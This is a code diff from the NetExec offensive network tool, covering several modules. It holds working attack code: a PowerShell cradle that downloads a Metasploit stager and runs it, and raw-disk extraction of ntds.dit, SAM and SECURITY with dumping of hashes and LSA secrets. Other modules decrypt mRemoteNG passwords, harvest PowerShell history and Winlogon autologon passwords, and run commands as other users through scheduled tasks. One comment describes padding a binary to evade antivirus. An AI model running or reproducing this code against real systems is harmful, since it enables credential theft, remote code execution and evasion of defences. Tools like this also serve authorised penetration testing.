context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
+9 -9
View File
@@ -42,7 +42,7 @@ class NXCModule:
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
@@ -57,7 +57,7 @@ class NXCModule:
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
@@ -119,7 +119,7 @@ class NXCModule:
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
@@ -130,7 +130,7 @@ class NXCModule:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -139,7 +139,7 @@ class NXCModule:
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
@@ -150,7 +150,7 @@ class NXCModule:
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
@@ -163,7 +163,7 @@ class NXCModule:
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
@@ -179,7 +179,7 @@ class NXCModule:
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
@@ -203,4 +203,4 @@ class NXCModule:
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+2 -2
View File
@@ -30,10 +30,10 @@ class NXCModule:
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
+1 -1
View File
@@ -191,4 +191,4 @@ class NXCModule:
else:
return es
else:
return str(exception)
return str(exception)
+126 -164
View File
@@ -10,16 +10,24 @@ from dataclasses import dataclass, field
import random
import gzip
from io import BytesIO
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
from nxc.helpers.misc import validate_ntlm
from nxc.helpers.powershell import get_ps_script
import sys
class NXCModule:
name = "ntds-dump-raw"
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
supported_protocols = ["smb", "wmi", "winrm"]
files_full_location_to_extract = [
"Windows/System32/config/SYSTEM",
"Windows/System32/config/SAM",
"Windows/NTDS/ntds.dit",
]
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
number_of_file_to_extract = len(files_to_extract)
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
NTFS_LOCATION = 0
MFT_LOCATION = 0
context = None
@@ -75,36 +83,7 @@ class NXCModule:
full_path: str = ""
def options(self, context, module_options):
"""TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them
Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM
nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM
$IP can be a Domain Controller or a regular Windows machine.
"""
available_options = {
"NTDS": "Windows/NTDS/ntds.dit",
"LSA": "Windows/System32/config/SECURITY",
"SAM": "Windows/System32/config/SAM"
}
self.files_full_location_to_extract = []
if "TARGET" in module_options:
selected_options = module_options["TARGET"].split(",")
for option in selected_options:
if option in available_options:
self.files_full_location_to_extract.append(available_options[option])
else:
context.log.error(f"Uknown option format : {option}")
sys.exit(1)
else:
self.files_full_location_to_extract.append(available_options["NTDS"])
self.files_full_location_to_extract.append(available_options["SAM"])
# Add SYSTEM by default as needed for decryption
self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM")
# Prepare the files to extract
self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract]
self.number_of_file_to_extract = len(self.files_to_extract)
self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "")
"""No options available"""
def read_from_disk(self, offset, size):
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
@@ -139,7 +118,7 @@ class NXCModule:
first_section = self.read_from_disk(0, 1024)
if len(first_section) == 0:
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
if first_section[512: 512 + 8] == b"EFI PART":
if first_section[512 : 512 + 8] == b"EFI PART":
self.logger.display("Disk is formated using GPT")
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
if NTFS_LOCATION == -1:
@@ -149,10 +128,10 @@ class NXCModule:
max_parition_size = 0
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
for partition_indx in range(4):
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)])
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
if curr_partition_size > max_parition_size:
max_parition_size = curr_partition_size
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
self.NTFS_LOCATION = NTFS_LOCATION
@@ -169,144 +148,127 @@ class NXCModule:
self.read_MFT(MFT_file_header)
if self.number_of_file_to_extract != 0:
self.logger.fail("Unable to find all needed files, trying to work with what we have")
self.logger.fail("Unable to find all needed files")
return
self.logger.success("Heads up, hashes on the way...")
self.dump_hashes()
self.dump_ntds()
def dump_hashes(self):
def dump_ntds(self):
"""Dumping NTDS and SAM hashes locally from the extracted files"""
# Mostly from nxc/modules/ntdsutil.py
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
boot_key = local_operations.getBootKey()
no_lm_hash = local_operations.checkNoLMHashPolicy()
# NTDS hashes
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
NTDS.finish()
# SAM hashes
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
domain = self.domain
clean_hash = SAM_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
domain = self.domain
clean_hash = SAM_hash
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
SAM.finish()
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
# LSA
if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "":
LSA = LSASecrets(
self.extracted_files_location_local["SECURITY"],
boot_key,
remoteOps=None,
isRemote=False,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)
)
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
try:
self.logger.success("LSA Secrets:")
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
self.logger.fail(e)
# NTDS
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
# NTDS hashes
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
SAM.finish()
NTDS.finish()
def analyze_NTFS(self, ntfs_header):
"""Decode the NTFS headers and extract needed infromation from it"""
ntfs_header = ntfs_header[0xB: 0xB + 25 + 48]
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
data = struct.unpack(header_format, ntfs_header)
@@ -354,7 +316,7 @@ class NXCModule:
"""Analyze the current MFT records and extract the targeted files if they are present"""
MFT_record_indx = 0
for curr_record_indx in range(len(curr_data) // 1024):
curr_sector = curr_data[curr_record_indx * 1024: curr_record_indx * 1024 + 1024]
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
try:
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
@@ -469,9 +431,9 @@ class NXCModule:
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
curr_datarun_indx += 1
dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
@@ -489,12 +451,12 @@ class NXCModule:
parsed_header = {}
while True:
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4])
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
if curr_header == 0xFFFFFFFF or curr_header is None:
break
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len]
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
curr_index = curr_index + curr_header_len
return parsed_header
@@ -511,13 +473,13 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
dataRun = parsed_header["$DATA"][dataRun_offset:]
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
@@ -556,7 +518,7 @@ class NXCModule:
for i in range(num_partition_entries):
entry_offset = i * partition_entry_size
partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size]
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
partition_entries.append(partition_entry)
return partition_entries
+1 -1
View File
@@ -16,4 +16,4 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+2 -2
View File
@@ -28,13 +28,13 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+2 -2
View File
@@ -30,7 +30,7 @@ class NXCModule:
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
@@ -42,7 +42,7 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
+1 -1
View File
@@ -15,4 +15,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
+2 -2
View File
@@ -32,7 +32,7 @@ class NXCModule:
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
)
keyHandle = ans["phkResult"]
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
for reg_key in reg_keys:
try:
@@ -42,4 +42,4 @@ class NXCModule:
context.log.highlight(f"{reg_key}:")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()
remoteOps.finish()
+4 -4
View File
@@ -100,7 +100,7 @@ class Modify_Func:
lmChallengeResponse = ""
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
if password is None:
@@ -129,7 +129,7 @@ class Modify_Func:
# Let's start with the original flags sent in the type1 message
responseFlags = type1["flags"]
# Token received and parsed. Depending on the authentication
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
@@ -183,7 +183,7 @@ class Modify_Func:
else:
ntlmChallengeResponse["lanman"] = lmResponse
ntlmChallengeResponse["ntlm"] = ntResponse
if encryptedRandomSessionKey is not None:
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
return ntlmChallengeResponse, exportedSessionKey
+1 -1
View File
@@ -44,7 +44,7 @@ class NXCModule:
context.log.highlight("RunAsPPL disabled")
else:
context.log.highlight("RunAsPPL enabled")
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
finally:
+275 -36
View File
@@ -1,6 +1,12 @@
import os
from traceback import format_exc
from nxc.protocols.smb.atexec import TSCH_EXEC
import contextlib
from time import sleep
from datetime import datetime, timedelta
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
@@ -25,28 +31,28 @@ class NXCModule:
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
"""
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
self.cmd = self.binary = self.user = self.task = self.file = self.location = self.time = None
self.share = "C$"
self.tmp_dir = "C:\\Windows\\Temp\\"
self.tmp_share = self.tmp_dir.split(":")[1]
if "CMD" in module_options:
self.command_to_run = module_options["CMD"]
self.cmd = module_options["CMD"]
if "BINARY" in module_options:
self.binary_to_upload = module_options["BINARY"]
self.binary = module_options["BINARY"]
if "USER" in module_options:
self.run_task_as = module_options["USER"]
self.user = module_options["USER"]
if "TASK" in module_options:
self.task_name = module_options["TASK"]
self.task = module_options["TASK"]
if "FILE" in module_options:
self.output_filename = module_options["FILE"]
self.file = module_options["FILE"]
if "LOCATION" in module_options:
self.output_file_location = module_options["LOCATION"]
self.location = module_options["LOCATION"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
@@ -55,31 +61,31 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.logger = context.log
if self.command_to_run is None:
if self.cmd is None:
self.logger.fail("You need to specify a CMD to run")
return 1
if self.run_task_as is None:
if self.user is None:
self.logger.fail("You need to specify a USER to run the command as")
return 1
if self.binary_to_upload:
if not os.path.isfile(self.binary_to_upload):
self.logger.fail(f"Cannot find {self.binary_to_upload}")
if self.binary:
if not os.path.isfile(self.binary):
self.logger.fail(f"Cannot find {self.binary}")
return 1
else:
self.logger.display(f"Uploading {self.binary_to_upload}")
with open(self.binary_to_upload, "rb") as binary_to_upload:
self.logger.display(f"Uploading {self.binary}")
with open(self.binary, "rb") as binary_to_upload:
try:
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}", binary_to_upload.read)
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.tmp_share}{self.binary_to_upload_name}")
self.binary_name = os.path.basename(self.binary)
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_name}", binary_to_upload.read)
self.logger.success(f"Binary {self.binary_name} successfully uploaded in {self.tmp_share}{self.binary_name}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.tmp_share}: {e}")
return 1
# Returnes self.command_to_run or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
self.command_to_run = self.command_to_run if not self.binary_to_upload else f"{self.tmp_share}{self.command_to_run}"
# Returnes self.cmd or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
self.cmd = self.cmd if not self.binary else f"{self.tmp_share}{self.cmd}"
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
@@ -88,6 +94,11 @@ class NXCModule:
connection.username,
connection.password,
connection.domain,
self.user,
self.cmd,
self.file,
self.task,
self.location,
connection.kerberos,
connection.aesKey,
connection.host,
@@ -95,16 +106,11 @@ class NXCModule:
connection.hash,
self.logger,
connection.args.get_output_tries,
connection.args.share,
self.run_task_as,
self.command_to_run,
self.output_filename,
self.task_name,
self.output_file_location,
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
)
self.logger.display(f"Executing {self.command_to_run} as {self.run_task_as}")
output = exec_method.execute(self.command_to_run, True)
self.logger.display(f"Executing {self.cmd} as {self.user}")
output = exec_method.execute(self.cmd, True)
try:
if not isinstance(output, str):
@@ -116,13 +122,246 @@ class NXCModule:
for line in output.splitlines():
self.logger.highlight(line.rstrip())
except Exception:
self.logger.debug("Error executing command via atexec, traceback:")
self.logger.debug(format_exc())
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
with contextlib.suppress(Exception):
exec_method.deleteartifact()
else:
self.logger.fail(f"Failed to execute command: {e}")
finally:
if self.binary_to_upload:
if self.binary:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}")
context.log.success(f"Binary {self.binary_to_upload_name} successfully deleted")
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_name}")
context.log.success(f"Binary {self.binary_name} successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting {self.binary_to_upload_name} on {self.share}: {e}")
context.log.fail(f"Error deleting {self.binary_name} on {self.share}: {e}")
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__share_name = share_name
self.__lmhash = ""
self.__nthash = ""
self.__outputBuffer = b""
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
self.__share = share
self.logger = logger
self.cmd = cmd
self.user = user
self.file = file
self.task = task
self.location = location
if hashes is not None:
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ""
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def deleteartifact(self):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
self.logger.display(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
dce.disconnect()
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
return self.__outputBuffer
def output_callback(self, data):
self.__outputBuffer = data
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
